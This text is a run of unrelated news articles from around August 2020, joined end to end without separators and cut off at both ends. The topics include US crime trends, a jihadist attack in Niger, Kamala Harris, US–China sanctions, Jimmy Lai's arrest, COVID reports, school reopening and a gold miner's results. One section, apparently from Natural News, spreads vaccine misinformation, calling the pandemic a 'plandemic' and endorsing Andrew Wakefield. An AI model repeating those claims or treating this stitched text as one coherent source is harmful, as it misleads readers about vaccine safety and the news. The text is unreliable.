and it's almost like your number is up,' Erica Mosby, whose pregnant niece was shot dead at a gas station last month, told the Times. 'It's terrible.' Overall crime rates in most cities have actually fallen since the pandemic hit, with nonviolent crimes including burglary, larceny and drug-related offenses dropping significantly in the period from February to June, according to the NCCCJ report. Overall crime rates in most cities have actually fallen since the pandemic hit - with nonviolent crimes including burglary, larceny and drug-related offenses dropping significantly in the period from February to June, according to the NCCCJ report The one exception in the nonviolent crime category was commercial burglary, which rose by a whopping 200 percent in the last week of May before settling back down to below pre-pandemic rates. Researchers noted that the cities with the sharpest increases in commercial burglary during that week - Los Angeles, Washington, New York City, Atlanta, Chicago, and St Louis - also had particularly large and active anti-police demonstrations with widespread looting. The NCCCJ report was compiled by Dr Richard Rosenfeld, a renowned criminologist at the University of Missouri-St. Louis, and graduate research assistant Ernesto Lopez. The goal of the report was to examine how crime trends were affected by the coronavirus pandemic and George Floyd protests. The researchers examined data from 27 cities: Atlanta, Austin, Boston, Chicago, Cincinnati, Dallas, Denver, Detroit, Los Angeles, Louisville, Memphis, Milwaukee, Minneapolis, Nashville, New York, Omaha, Philadelphia, Phoenix, Pittsburgh, Raleigh, Riverside, Sacramento, San Francisco, Seattle, St Louis, St Paul and Washington, DC. France pledged Tuesday to ramp up security for its nationals in the Sahel region following an attack in Niger at the weekend in which eight people, six of them French, were murdered by jihadists. "I've decided to boost security measures for our expatriates in the region," French President Emmanuel Macron tweeted after a cabinet meeting on what he described as "manifestly a terrorist attack". Macron did not elaborate on the exact nature of the measures envisaged. Seven of the victims worked for the French humanitarian NGO, Acted. They were attacked Sunday in Koure National Park, just 60 kilometres (37 miles) from the Nigerien capital of Niamey. The killings were the first by jihadist gunmen in that area, a destination for weekend leisure trips by Niamey residents, including foreigners. French Prime Minister Jean Castex described the killings as an "odious crime" and an act of "cowardice that is difficult to put into words". - Military consequences - No group has claimed responsibility for the attack but the region around Niamey has become a hideout for jihadist groups including the Islamic State in the Greater Sahara (ISGS), which has killed hundreds of troops and driven thousands of people from their homes. Macron vowed there would be consequences, including military ones, from the attack. The French military has a 5,100-member anti-jihadist force in the Sahel, which covers five countries, including Mali, Niger and Burkina Faso. "We're pursuing action to eradicate the terrorist groups, with the strengthened support of our partners," Macron said. A team of 11 specialist French investigators left for Niger on Tuesday, police and judiciary sources told AFP. In Paris, French anti-terror prosecutors have launched an investigation into "murders with links to a terrorist enterprise" and "criminal terrorist association". The NGO Acted, which has a network of 200 employees in Niger, said it would suspend its activities in the country. Nonetheless, it would remain present in Niger, despite its horror at what it described as "senseless killings". "There's no question of leaving the country or the region. We're there to help," Acted president Frederic de Saint-Sernin told French radio, RFI. "The international community must recognise the contradiction in asking us to support people who live in such dramatic conditions, while at the same time leaving us alone to confront the violence of which we have become such easy targets," Acted co-founder Frederic Roussel told a news conference. Search Keywords: Short link: (Natural News) When it comes to the safety and effectiveness of President Donald Trumps upcoming Operation Warp Speed (OWS) vaccines for the Wuhan coronavirus (COVID-19), presidential hopeful Joe Biden is not convinced that they will work. Speaking publicly, which is usually not a good idea for him, Biden offered up the conspiracy theory that people dont believe that [Trump] is telling the truth about the safety of these vaccine candidates. Therefore, theyre not at all certain theyre going to take the vaccine, Biden added. We use the phrase conspiracy theory in this context as a tongue-in-cheek, seeing as how the left would ordinarily accuse anyone who dares to question the safety or effectiveness of any vaccine of being an anti-vaxxer. But in this case, Biden openly questioned the safety and effectiveness of all OWS vaccines simply because they are being developed under the guidance of the Trump administration. Its not likely to go through all the tests and the trials that are needed to be done, Biden further added about how warp-speed vaccines rushed to market possibly before the November 3 election will be questionable at best. Since Anthony Fauci, who is considered by the left to be Americas doctor, recently declared that rushed-to-market vaccines for the Wuhan coronavirus (COVID-19) will be perfectly safe, these statements by Biden suggest that he, too, is a conspiracy theorist when it comes to trusting every word that comes out of Faucis mouth. Biden actually went so far as to accuse Trump of lying about the safety of the vaccine candidates, some of which are now in late-stage trials and on the verge of being released within the next couple of months. Dr. Andrew Wakefield agrees with Bidens assessment, as do we. Check out the following episode of The Health Ranger Report to learn more about the risks associated with Trumps OWS Wuhan coronavirus (COVID-19) vaccines: So how long before Biden is removed from Facebook, Twitter for dispensing misinformation during a pandemic? When further asked by a CBS News reporter what he would do to ensure that every American is vaccinated for the Wuhan coronavirus (COVID-19) as quickly as possible, despite massive public distrust, Biden once again alluded to the conspiracy theory that Trump is deceiving people about the safety of these vaccines. Tell the truth, Biden stated. Listen to the science. Make [the vaccine] totally open for review by every medical facility in the country. Making clear that, in fact, it is safe. Instead of what Trump is talking about. Hes talking about all these different vaccines that are going to be ready to go. According to Biden, the way that Trump continues to talk about these Wuhan coronavirus (COVID-19) vaccine candidates is not particularly rational. To claim that they are already ready is deceptive, Biden contends, and goes against what the scientists are saying about how fast the development process should be going. In other words, Biden is suspicious of a fast-tracked vaccine, which Fauci insists is perfectly safe, which makes him a conspiracy theorist just like the Americas Frontline Doctors (AFD) who, as you know, were removed from every major Big Tech platform for dispensing disinformation during a plandemic. We wonder, then, how long it will be before Big Tech removes Biden for making false statements about medical interventions that could result in people not getting necessary treatment in the form of fast-tracked vaccines. Will Biden be held to the same high standards as AFD was for spreading misinformation about hydroxychloroquine (HCQ)? Im surprised Joe doesnt accuse Trump of getting the vaccine from the Russians, joked one Breitbart News commenter. To keep up with the latest news about Joe Bide, read JoeBiden.news. Sources for this article include: NaturalNews.com Breitbart.com A barrier-breaking prosecutor with a love for grilling I will repeat and music. One nation under a groove. She ran for president I am running for president of the United States. going head to head with Biden over school busing. You know, there was a little girl in California who was part of the second class to integrate her public schools. And she was bused to school every day. And that little girl was me. But she later endorsed him. Now, California Senator Kamala Harris is Joe Bidens pick for vice president. As I said, Joe, when you called me, I am incredibly honored by this responsibility. And Im ready to get to work. I am ready to get to work. So, who is she? Harris has a history of being the first. You may be the first to do many things, but make sure youre not the last. She was the the first black person and first woman to become district attorney of San Francisco and later attorney general of California. I decided to become a prosecutor because I believed that there were vulnerable and voiceless people who deserved to have a voice in that system. And in 2016, she was elected the first Black senator from California. Now, she is the first Black woman and first person of Indian descent to be nominated for national office by a major party. So what is she known for in Washington? So my question to you Harris serves on four Senate committees and is perhaps best known for her tough questions. It makes me nervous Is that a no? Is that a yes? Can I get to respond please, maam? No, sir. No, no. And some of her policy priorities? Criminal justice reform and racial justice legislation. Racial justice is on the ballot in 2020. After the killing of George Floyd in police custody, Harris returned to the Senate with new purpose. Black Americans want to stop being killed. She found clarity here that she was missing as a presidential candidate. We should have things like a national standard for excessive use of force. But shes faced criticism from progressive activists over her record as a prosecutor, including her push for higher cash bails for certain crimes and for refusing to support independent investigations for police shootings as recently as 2014. So whats her dynamic with President Trump? Shes called Trumps border wall His vanity project. and him That guy in The Wizard of Oz, you know, when you pull back the curtain, its a really small dude. Most recently, Harris criticized Trump for ordering an aggressive military response to peaceful protesters in Washington for a photo op. Turning the U.S. military on its own people. This is not the America that people fought for. Trump tweeted an attack ad on Harris shortly after the V.P. pick was announced, calling her a phony and accusing her of rushing to the radical left during her presidential run. Slow Joe and Phony Kamala. Harris ran an unsteady presidential campaign that ended before the first primaries. We are all in this together. But she is among the best-known Black women in American politics This is our house. and may appeal to both moderates and liberals. Her proponents hope her experience in law enforcement will help her face the unique challenges of the moment I voted. but her previous public feud with Biden could cast a shadow on their united front. Amid the rising tensions between the United States and China, Beijing has sanctioned 11 Americans over the US government's decisions against Hong Kong. The move is the latest in the ongoing political war between the two superpowers. China vs. the United States Beijing announced it would be imposing sanctions on 11 United States citizens. The list includes Republican Senators Ted Cruz and Marco Rubio, who have previously been targeted by the Chinese government. The move is meant as retaliation against Washington's previous decision to punish officials from Hong Kong and mainland China over alleged human rights violations. According to the Wall Street Journal, the announcement is the latest development of the political argument between the two nations that involved closing the Chinese Consulate in Houston and China shutting down the American Consulate in Chengdu as a response. United States President Donald Trump had also continued to put pressure on Beijing, including conducting military exercises within the South China Sea and moving to ban China-owned companies TikTok and WeChat. The Foreign Ministry of China was the one who revealed the sanctions but did not offer precise details on what they would include. Experts believe the move is symbolic and was created to incite doubt and fear as Beijing has previously attacked most of the targets. During a Monday daily press briefing, Zhao Lijian, the spokesman for the Chinese Foreign Ministry said that China imposed the sanctions on the US officials in response to the United States government's fraudulent actions. Previously, Beijing had already announced it would be imposing sanctions on Cruz and Rubio and several other US officials after Trump's administration sanctioned Chinese officials for alleged human rights violations against Muslim Uighurs in the Xinjiang region of China. The US government later blacklisted the paramilitary organization Xinjiang Production and Construction Corps that operates large-scale farms and several other businesses in the region. Government officials have previously sanctioned 11 Chinese officials, including their allies in Hong Kong. Also Read: Hong Kong Police Arrest Pro-Democracy Publisher Jimmy Lai in Newest Purge of New Security Law High profile figures Some of the officials that the US sanctioned included director of the Hong Kong and Macau Affairs Office Xia Baolong of China's State Council and Commissioner Chris Tang of the Hong Kong Police Force. Critics have expressed their disagreement with the force for tactics it used against pro-democracy demonstrators, as reported by the Time. Chief Executive Carrie Lam was also among those that the US sanctioned after officials accused her of being responsible for implementing the policies meant to suppress freedom and democratic process in Hong Kong that Beijing ordered. US Treasury Secretary Steven Mnuchin said the United States government supports Hong Kong and its people in fighting against human rights violations and will continue to oppose individuals or authorities that attempt to undermine the city's political freedom and autonomy. Last month, China's national legislature's standing committee passed the new security law that bypassed the Hong Kong's Legislative Council and its citizens which have continuously opposed similar legislation from similar laws for several years. According to ABC News, the new security law came as Beijing's response to the continuous anti-government protests that have rocked the city last year. The Chinese government previously alleged that foreign entities stirred the demonstrations in an attempt to overrule Beijing's control over Hong Kong. Related Article: Hong Kong Tags Pro-Democracy Activists as Criminal Group, Calls for Their Arrests @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Anti-Government Protests Continue in Thailand By VOA News August 10, 2020 Rival protests took place in Bangkok Monday, with dozens of students continuing weekslong calls to change the constitution. They were met by roughly 30 pro-government demonstrators outside the Parliament house in Thailand's capital. But thousands joined a protest at Thammasat University on the outskirts of the city one of the largest seen in Bangkok since protests against the government, largely led by students began, Reuters reported. Protesters are demanding amendments to the constitution, a new election and a halt to the harassment and abuse of rights activists. The initial demonstrations began early this year, shortly after Thailand's Constitutional Court dissolved the Future Forward Party in Feb. 21 and banned its leader, Thanathorn Juangroongruangkit, from politics for 10 years. The party, which came in third place in the 2019 election, was favored by young voters. However, the protests were temporarily halted when the COVID-19 outbreak created a countrywide lockdown, including a restriction on public gatherings. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address To the Times: Times Columnist Christine Flowers all too often relies on disingenuous misinformation, a typical shelter of those who feel compelled to defend the indefensible. Ive regularly read her missives with reactions ranging from bemusement to thorough indignation, depending on the seriousness of the subject of her current grievance (because the common theme of her writing is endless faux-conservative grievance.) Ive never felt it worthwhile to comment previously, until this uniquely fraught moment in which we as Americans find ourselves. I would like to offer a pointed response to Ms. Flowers recent column on the Christopher Columbus monument in South Philadelphia, consisting of the correction of numerous inaccuracies, my own point of view on the controversy as an Italian American, and finally a challenge regarding the higher relevance in this moment of Martin Neimollers grievous admonition regarding tyranny. 1. The Demographics of South Philadelphia: I too am proud of my fathers Italian-American family history there, though all but a few cousins have moved on along with many of our peers. It seems that Ms. Flowers has not been paying attention to the population of South Philadelphia in the 21st Century. South Philadelphia in recent decades has become one of the most culturally and racially diverse areas of our region, and very successfully so. In the 2010 census, 51% of the South Philadelphia population was white only, with 2017 estimates for the referenced 19145 and 19148 zip codes totaling 50.5% white. In the upcoming 2020 census, South Philadelphia will likely be found to be majority-minority. So the notion of an overwhelmingly ItalianAmerican South Philadelphia is an anachronism dating well back into the 20th Century. 2. The Viking Problem: As my Scandinavian American mother consistently reminds my Italian American father, the historical record is clear that Scandinavians explored and had at least one settlement in North America, some 500 years before Columbus. As I like to remind them both, there is some evidence that the Greeks, Celts, or other Westerners may have visited long before either Columbus or the Vikings, and certainly very-old-world prehistoric Asians settled permanently thousands of years ago as the ancestors of Native Americans. 3. The Flat Earth Society: Numerous historical scholars, including among the Ancient Greeks, the Middle Age Europeans and Scandinavians, correctly understood that the Earth was spherical centuries before Columbus. Two criticisms here: The above items are emblematic of too many of Ms. Flowers contentions. She unfortunately often clings to childishly immature beliefs with little inclination to gain a mature factual understanding. The items following involve a much more serious problem that of either racial illiteracy, to take the most sympathetic possible view, or racism itself. 4. Native-American Civilization: Archeological and anthropological research clearly proves that Native-American populations, including the Maya, Inca, Aztec, and many other peoples created relatively advanced, well-organized, and often highly successful human civilizations, centuries before European settlement. All of these civilizations were destroyed in one way or another due to the arrival of the Europeans. To suggest that European conquest, regardless that it is a fait accompli, was beneficial to these civilizations is indefensible. 5. Western Religion: The presumption that the violent forcing of Western Christianity on native peoples was a beneficial historical development is patently offensive and frankly un-American. The protection of all belief systems, including Native-American faiths and their many positive aspects, is a fundamental pillar of both American democracy and basic human rights. 6. The History of the Columbus Monuments: The full understanding of the origin of these monuments is itself inextricably tied to Americas original sin of racial injustice. During the period of great immigration of Italian Americans, Southern Europeans were often viewed as essentially non-white peoples, particularly in the Southern United States. In response, the embrace of Columbus was significantly an effort to emphasize the white-racial origin of Italian Americans, which helped to rapidly level the playing field for them in this country. The problems with this from our modern perspective are twofold: that the chosen hero of many Italian Americans was, even in his day and among his peers, documented to have engaged in repeated systemic brutality and slavery against native peoples, and that the drawing of the firm line that Italian Americans are racially white reinforced the societal belief in the inferiority of non-white races. All this said, I am not certain in my position on what should happen to the monuments of Columbus and other figures whose behavior is indefensible from our modern perspective. Every historical figure, as flawed human beings, can be found morally wanting. I have grave concerns about the possibility of forgetting the tragic errors of history. I am a firm supporter of the Teachable Moment principle of President Barack Obama. I believe that we should consider our course on these issues with the most serious reflection. I suggest that we should, in one way or another, make sure these monuments remain readily accessible in some form, to understand the context of their origin, the complex reality of these figures, and the past mistakes of our history. The question I am wrestling with is whether they should remain in place, to be augmented by an absolutely frank airing of all the ugly and painful context surrounding them, similar to the suggestion of my friend Carl Balis in a recent letter to the Times, or whether they should reside in museums dedicated specifically to the purpose of this constructive historical reckoning. Either way, I firmly believe that wanton vandalism does no good for ourselves, or the critical lessons of history. Lastly, on Ms. Flowers quoting of Martin Neimollers justly famous admonition about historical complacency and the slippery-slope of tyranny: I can only hope that her next column will also focus on Neimollers words, but will address the armed Federal forces being deployed as secret police stormtroopers on our streets, against the spirit of every principle upon which the United States was founded. I respectfully extend the same challenge to Columnist Chris Freind and to you, Editor Joe Hart. Mario Cimino Morton Source: Xinhua| 2020-08-11 11:15:38|Editor: huaxia Video Player Close WUHAN, Aug. 11 (Xinhua) -- No new confirmed, asymptomatic or suspected cases of COVID-19 were reported in central China's Hubei Province Monday, the provincial health commission said Tuesday. By Monday, Hubei still had four confirmed cases who arrived from overseas, as well as one asymptomatic case in the city of Yichang. There were 312 close contacts still under medical observation in Hubei by Monday. Hubei has reported a total of 68,139 confirmed COVID-19 cases, and 63,623 cases have been cured and discharged from hospital. The disease has claimed 4,512 lives in the province. Enditem Source: Xinhua| 2020-08-11 17:01:57|Editor: huaxia Video Player Close MALE, Aug. 11 (Xinhua) -- The Maldives government has banned locals from visiting tourist facilities in a bid to prevent the spread of COVID-19, local media reported here Tuesday. The Ministry of Tourism has introduced new regulations which prohibits Maldivian nationals from visiting tourism facilities until further notice. The decision was taken in order to prevent the possible spread of imported COVID-19 cases to the local population. Maldives re-opened its borders to foreigners on July 15, though tourists are only allowed to travel to resorts in uninhabited islands and must stay in a single facility for the duration of their stay. Tourists are not subject to mandatory tests unless they exhibit symptoms at the airport. Workers at tourist facilities must undergo a 14 day quarantine period before travelling to inhabited islands, state media reported. Maldives is currently experiencing a possible second wave of COVID-19 cases after lockdown restrictions were relaxed in the preceding months. A number of new cases have been imported since borders were re-opened for foreign tourists. Maldives currently has 5,157 confirmed cases of COVID-19, out of which 2,307 are active cases and 19 have died. Enditem Dartmouth engineering professor Yan Li has received the American Society of Mechanical Engineers (ASME) ORR Early Career Award, which recognizes early career research excellence in the areas of experimental, computational, or theoretical fatigue, fracture, or creep. Li's research focuses on the mechanics of advanced materials and involves multiscale, multi-physics modeling. Li taps integrated computational and experimental approaches to develop next-generation material design. "I am deeply honored to receive this prestigious award from ASME," said Li. "This vibrant community has provided me an invaluable opportunity to advance my career by leveraging my expertise through research, educational and synergistic activities. I am excited to expand my research scope to diverse engineering disciplines that will impact the future of materials science, engineering, and technology." She was selected for "pioneering an approach to predict the fracture toughness of ceramic composites and polycrystalline metals with statistical uncertainty quantification using microstructure-explicit and fracture-process-explicit computation simulations, advancing approaches for design of fracture resistant materials and microstructures." After receiving her BS in mechanical engineering from Yanshan University in China, Li received her MS in material science engineering from Shanghai Jiao Tong University and her PhD in mechanical engineering from Georgia Institute of Technology. She has worked on research projects supported by the US Army Research Laboratory, Sandia National Laboratories, NSF Center for Computational Materials Design, and collaborated with industry partners including Boeing, Gulfstream, and GE. Established in 2004, the ASME ORR Early Career Award was donated by the Orr family and consists of a $3,000 honorarium and certificate that will be presented virtually at the 2020 ASME International Mechanical Engineering Congress & Exposition in November. ### Credit: Pixabay/CC0 Public Domain Weary working parents aren't the only ones eager for their children to return to school in a few weeks. Many teachers, staff and administrators also want those classroom doors to reopen. Most importantly, kids are craving the clamor of school hallways and interaction with their friends. The American Academy of Pediatrics recently highlighted the importance of students' returning to the classroom in its COVID-19 return-to-school guidance. Jason Wang, MD, Ph.D., of Stanford Health Policy also believes it's time for kids in the United States to get back to school. But he believes school districts could better protect their 55 million K-12 students by adhering to an additional set of strict measures. "Prolonged school closures can exacerbate socioeconomic disparities, causing negative education and health outcomes, and amplifying existing educational inequalities," said Wang, a pediatrician and director of the Center for Policy, Outcomes and Prevention in the Stanford School of Medicine. "School closure may also aggravate food insecurity, domestic violence and mental health disorders. Many children from low-income households obtain food through the National School Lunch Program, and estimates suggest that 1 in 4 children may face hunger this year due to COVID-19." But serious precautions must first be put into place, Wang said, starting with each school district establishing a COVID-19 task force composed of the superintendent, members of the school board, teachers, parents and health care professionals to develop policies and procedures. "To implement and evaluate specific measures, the task force should create and oversee a command center for the school district, composed of data analysts and health experts who can liaise with the local health department," Wang writes in a JAMA Pediatrics article with co-author Henry Bair, a medical student at the Stanford School of Medicine who is also working on an MBA at the university's graduate school of business. The article will be published Aug. 11. Three-pronged testing approach The academy's guidance does not include ways schools can test for the virus, so the authors recommend that school districts collaborate with local hospitals to: Test all students with symptoms. Devise a schedule to randomly select a proportion of students and staffers for COVID-19 testing to identify asymptomatic individuals. The researchers note that a pooled testing strategy can significantly reduce costs. Offer more frequent testing to students from high-risk households in ZIP codes with socioeconomic challenges. In addition, the authors recommend that district task forces: Work with its local health department to provide educational materials and training for students, parents and school staff on the basics of COVID-19 prevention. Provide school staff with thermometers and train them to screen for COVID-19 symptoms. Build temporary modular buildings if schools cannot maintain 6 feet of physical distance among students and teachers. Expand the district's fleet of school buses or develop different pickup schedules. Increase budgets to boost disinfection efforts of all teaching spaces, common areas and high-touch surfaces such as doorknobs, computers and desks. Place transparent plastic shields in front of and along the sides of student desks. Provide hand sanitizers and protective equipment, such as disposable surgical masks, reusable cloth masks or reusable face shields. Wang concedes these are expensive measures. But as the Centers for Disease Control and Prevention noted in its July 24 telebriefing on new resources and tools to support opening schools: The 5.6 million parents who haven't been able to work due to school closures have collectively lost an estimated $232 billion in earnings. Stricter measures mean bigger budgets Some low-resource communities might find these guidelines difficult to adopt. Those transparent desk barriers, for example, range from $100 to $200 per desk; COVID-19 tests run between $50 and $200 per individual. Wang said that's why additional federal funding and state subsidies are crucial for the low-income communities already hit by the double whammy of having more parents as essential workers and some of the highest hospitalization and fatality rates from the pandemic. "Low-income communities are suffering most from shelter-in-place policies because parents who are essential workers are out of the home and not able to help with online learning," Wang said. "And many children in these communities also live in crowded conditions that are not conducive to learning at home." Wang and Bair note the academy's guidelines emphasize the importance of identifying symptoms and signs of COVID-19, but don't go far enough in recommending operational approaches. "To address this, we recommend that schools implement multilevel screening for students and staff," they write. Each morning parents should report any fever or COVID-19 symptoms to an online or an automated telephone-based program maintained by the school or district. Any students with symptoms should stay home. Even with all the precautions in place, COVID-19 outbreaks within schools are still likely, the authors said. Schools should prepare for temporary closures and be ready to transition back to full-time online education by investing in remote education platforms and training. "Schools will need to ensure equitable implementation of online education among students, especially those with limited knowledge of or access to technological resources and consider subsidizing educational technologies for these students," the authors write. Explore further Follow the latest news on the coronavirus (COVID-19) outbreak Hong Kongs markets watchdog had to urge investors to exercise extreme caution after shares of Next Digital Ltd rose more than 2,000% to a 12-year high, spurred by an online campaign for its detained owner media tycoon Jimmy Lai. Lai was released on bail in the early hours of Wednesday morning, flanked by his lawyers, and greeted by a throng of supporters who chanted fight till the end and support apple, have an apple a day, referring to the pro-democracy tabloid. Readers had queued from the early hours of Tuesday to get copies of the newspaper, a day after police raided its offices and took Lai into detention, the highest-profile arrest under the national law. Apple Daily must fight on, the front-page headline read, amid fears the new law is eroding media freedoms guaranteed when the former British colony returned to Chinese rule in 1997. The prayers and encouragement of many readers and writers make us believe that as long as there are readers, there will be writers, and that Apple Daily shall certainly fight on. More than 500,000 copies were printed, compared with the usual 100,000, the paper said on its website. Mainland-born Lai, who was smuggled into Hong Kong on a fishing boat when he was a penniless 12-year-old, is one of the most prominent democracy activists in the city and an ardent critic of Communist Party rule in Beijing. The sweeping security law imposed on June 30 punishes anything China considers secession, subversion or terrorism. The citys Beijing-backed government and Chinese authorities say the law is necessary to restore order after months of at times violent anti-government protests last year, sparked by fears China was slowly eroding those freedoms. Police detained Lai for suspected collusion with foreign forces after about 200 officers searched the newspapers offices, collecting 25 boxes of evidence. Handcuffed and apparently wearing the same clothes after spending the night in jail, he was driven by police on Tuesday to his yacht which police searched, according to media footage. On his release, Lai left in a black car without speaking. Beijing has labelled Lai a traitor in the past and issued a statement supporting his arrest. The Beijing-backed China Daily newspaper said in an editorial Lais arrest showed the cost of dancing with the enemy. Shares in Next Digital, which publishes Apple Daily, surged for a second day, gaining more than 2,078% from Fridays close, after online pro-democracy forums called on investors to show support. Its market value rose as high as HK$5.17 billion ($666.7 million) from some HK$200 million. By PSCU President Uhuru Kenyatta on Monday commissioned the construction of three new Level 3 hospitals in Nairobis informal settlements. The President witnessed ground breaking for the construction of 16-bed capacity hospitals at Muthua in Uthiru and Kianda in Kibra as well as a 24-bed facility at Maendeleo Village in Mukuru kwa Reuben. The three hospitals are part of 20 such facilities earmarked for various parts of the city and are being developed by the Nairobi Metropolitan Service (NMS) at an average cost of Shs 70 million each. Alongside the new health facilities, NMS is also fast tracking the sinking of community boreholes to provide free clean drinking water and upgrading of access roads to bitumen standard. Speaking to residents who turned out to welcome him, the President said the projects are part of a grand plan to transform the outlook of the city especially its informal settlements. He asked Kenyans to ignore disruptive and empty political rhetoric saying the Governments focus is to improve the living standards of Nairobi residents. The President urged Kenyans to continue protecting themselves from Coronavirus by following the established health protocols. In the various constituencies, the Head of State was received by respective MPs including John Kiarie (Dagoretti South), Imran Okoth (Kibra) and Julius Mawathe (Embakasi South). The President was accompanied by NMS Director General Major Gen. Mohamed Abdalla Badi and Nairobi Regional Coordinator Kangethe Thuku among other senior Government officials. Toronto, Ontario--(Newsfile Corp. - August 10, 2020) - Xtra-Gold Resources Corp. (TSX: XTG) (OTCQB: XTGRF) ("Xtra-Gold" or the "Company") is pleased to provide the following summary of Q2 2020 Financials: -Total Assets increased from US$6,875,325 (Dec. 31, 2019) to US$8,877,398 (June 30, 2020), comprised mainly of cash, liquid securities, and gold inventory. -Zero Debt. -Net Income of US$1,216,211 (0.03 per share) for Q2, a significant increase from Q2 2019 of US$513,774 (0.01 per share). The full details of the Q2 2020 Financials with MD&A can be viewed on the Company's web-site at www.xtragold.com. Xtra-Gold is focused on defining a significant mineral resource on its Kibi Gold Project. However, our Company has monetized extensive alluvial gold assets on our land holdings through a subcontacting arrangement with small scale miners to enhance local employment. This subcontracting arrangement we refer to as our "Community Mining Project", has had the added benefit of funding most of our exploration drilling programs. We are currently drilling resource expansion targets with our two (2) diamond drill rigs (the "Rigs"). These Company-owned Rigs have reduced our drilling costs significantly versus contract services. Since our initial public offering ("IPO") in November 2010, our Company has incurred no significant dilution to our shareholders mainly due to our Community Mining Project. James Longshore CEO states, "We are very proud of our Community Mining Project, and our shareholders should benefit significantly as we strive to expand our gold resource base. Also, with the significant increase in gold prices this year, our Company is fully financed for the next two (2) years to execute our business plan, requiring no outside financing." About Xtra-Gold Resources Corp. Xtra-Gold is a gold exploration company with a substantial land position in the Kibi Gold Belt. The Kibi Gold Belt, which exhibits many similar geological features to Ghana's main gold belt, the Ashanti Belt, has been the subject of very limited modern exploration activity targeting lode gold deposits as virtually all past gold mining activity and exploration efforts focused on the extensive alluvial gold occurrences in many river valleys throughout the Kibi area. Story continues Forward-Looking Statements The TSX does not accept responsibility for the adequacy or accuracy of this release. No stock exchange, securities commission or other regulatory authority has approved or disapproved the information contained herein. This news release includes certain "forward-looking statements". These statements are based on information currently available to the Company and the Company provides no assurance that actual results will meet management's expectations. Forward- looking statements include estimates and statements that describe the Company's future plans, objectives or goals, including words to the effect that the Company or management expects a stated condition or result to occur. Forward-looking statements may be identified by such terms as "believes", "anticipates", "expects", "estimates", "may", "could", "would", "will", or "plan". Since forward-looking statements are based on assumptions and address future events and conditions, by their very nature they involve inherent risks and uncertainties. Actual results relating to, among other things, results of exploration, project development, reclamation and capital costs of the Company's mineral properties, and the Company's financial condition and prospects, could differ materially from those currently anticipated in such statements for many reasons such as: changes in general economic conditions and conditions in the financial markets; changes in demand and prices for minerals; litigation, legislative, environmental and other judicial, regulatory, political and competitive developments; technological and operational difficulties encountered in connection with the activities of the Company; and other matters discussed in this news release. This list is not exhaustive of the factors that may affect any of the Company's forward-looking statements. These and other factors should be considered carefully and readers should not place undue reliance on the Company's forward-looking statements. The Company does not undertake to update any forward-looking statement that may be made from time to time by the Company or on its behalf, except in accordance with applicable securities laws. Contact Information For further information please contact: James Longshore Chief Executive Officer Tel.: 416-628-2881 E-mail: info@xtragold.com Website: www.xtragold.com To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61388 Millions of American homes could become unsellable -- or could be sold at significant losses to their senior-citizen owners -- between now and 2040, according to new research from the University of Arizona. The study predicts that many baby boomers and members of Generation X will struggle to sell their homes as they become empty nesters and singles. The problem is that millions of millennials and members of Generation Z may not be able to afford those homes, or they may not want them, opting for smaller homes in walkable communities instead of distant suburbs. Baby boomers are people born between 1946 and 1964, while Gen Xers were born between 1965 and 1980. Millennials were born between 1981 and 1997 and Gen Zers between 1998 and 2015. The study predicts that the change in home-buying behaviors by younger generations may result in a glut of homes that could grow as high as 15 million by 2040, with homeowners selling for far below what they paid -- if they can sell them at all. Most seniors will be able to sell their homes, the study says, but it may become especially difficult in smaller, distant and slow- or non-growing markets. Arthur C. Nelson, a professor of urban planning and real estate development at the UArizona College of Architecture, Planning and Landscape Architecture, calls his prediction "The Great Senior Short Sale" in a paper published this week in the Journal of Comparative Urban Land and Policy. An expert in urban studies, public policy and land development, Nelson has spent a large part of his career studying the changing demand for suburban homes, since long before the housing market crash of the Great Recession. advertisement His newest prediction, if it plays out, would undermine one of the "big promises" of homeownership for millions of seniors, Nelson said: that a home, after it's paid off, can be sold for a retirement nest egg. "What if you pay off your mortgage over 30 years," he added, "and nobody buys the home?" The Mismatch in the Market Nelson's prediction comes from synthesizing data from sources such as the U.S. Census Bureau and the Harvard Joint Center for Housing Studies. The Harvard center is a leading source of data for those in academia, government and business to make sense of housing issues to inform policy decisions. Nelson, using those data, mapped how the ages of homeowners would change between 2018 and 2038. Looking at three age groups -- over 65, 35-64 and under 35 -- he came to the projection at the center of the study: that there may be fewer homeowners under 65 in 2038 than there were in 2018, even though the vast majority of people over 65 in 2038 will own their homes. advertisement "There's the mismatch -- if those over 65 unload their homes, and those under 65 aren't buying them, what happens to those homes?" he asks. Nelson is careful not to overstate his findings; millions of people will buy the homes that older generations are selling, he said. "But the vast supply is so large and the demand for them is going to be so small, in comparison, that there's going to be a real problem starting later this decade," he said. Nelson said he expects the phenomenon to reveal itself not all at once, but gradually over the next couple decades, at about 500,000 to 1 million homes every year. It's not likely to have much impact in growing metropolitan areas such as Phoenix or Dallas where "growth will solve all kinds of problems," he said, but it will matter in thousands of suburban and rural areas -- including some parts of Arizona. "The people who own homes now in thousands of declining communities may simply have to walk away from them," he said. Proposed Policy Solutions Nelson's study urges action from lawmakers, and he offers some ideas of his own. Among those is a program in which the federal government would buy back homes that have or may become unsellable. The Federal Emergency Management Agency already does something similar with homes that or have been or are likely to be damaged by natural disasters. By bearing the cost of buying those homes, Nelson said, the government could help seniors avoid turning to federal social support programs after losing their homes. Those programs are costly to taxpayers, and the cost is even greater when programs need to be administered in rural or suburban areas -- where homes are predicted not to sell, Nelson said. "If you have millions of seniors spread all across the landscape costing a fortune to serve, we might be better off finding ways to induce many to sell their homes," he said. "And we could actually then save potentially billions in public money that would otherwise be used to serve people in very distant and remove locations." Nelson also proposes programs at the state level that would allow younger people to live with older empty nesters, single people and others who live in homes larger than they may need, but who do not want to move. By sharing homes, Nelson said, older people would not have to sell them, and younger housemates could act as caregivers and property managers. The idea is already being tested in cities such as Minneapolis and Seattle and across the state of Oregon, Nelson said. There, laws were passed last year that allowed owners of single-family homes to divide them into multiple units. Nelson completed his study just before the coronavirus outbreak became widespread. But the pandemic, he said, doesn't make the housing issue any less urgent. "We're going to wake up in 2025 -- give or take a few years -- to realize that millions of seniors can't get out of their homes and that it's going to get worse in to the 2030s," he said. "We must start doing things now to reduce the coming shock of too many seniors trying to sell their homes to too few younger buyers." Dheeraj G Hinduja, Chairman Ashok Leyland live bse live nse live Volume Todays L/H More The long-term outlook for the truck and bus sector continues to remain positive and the current phase is only an aberration, Ashok Leyland Chairman Dheeraj Hinduja said in the companys annual report addressing shareholders. The 84 percent drop in domestic cumulative 